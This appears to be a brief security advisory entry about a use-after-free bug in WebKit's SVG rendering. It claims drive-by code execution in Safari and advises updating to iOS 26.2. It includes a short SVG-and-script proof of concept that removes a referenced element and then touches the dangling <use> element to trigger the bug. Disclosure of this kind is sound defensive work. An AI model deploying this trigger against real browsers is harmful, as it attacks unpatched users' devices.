WebKit Use-After-Free arbitrary code

## description

A Use-After-Free vulnerability in WebKit's SVG rendering component allows for arbitrary code execution during web content processing.

## impact

Drive-by RCE inside Safari renderer.

## mitigation

Update to iOS 26.2 or later.

## proof of concept

<!-- SVG UAF Trigger -->
<svg>
  <use href="#target" id="uaf" />
  <g id="target" />
  <script>
    document.getElementById('target').remove();
    document.getElementById('uaf').getBoundingClientRect(); // trigger UAF
  </script>
</svg>

## downloads

## references

• WebKit Security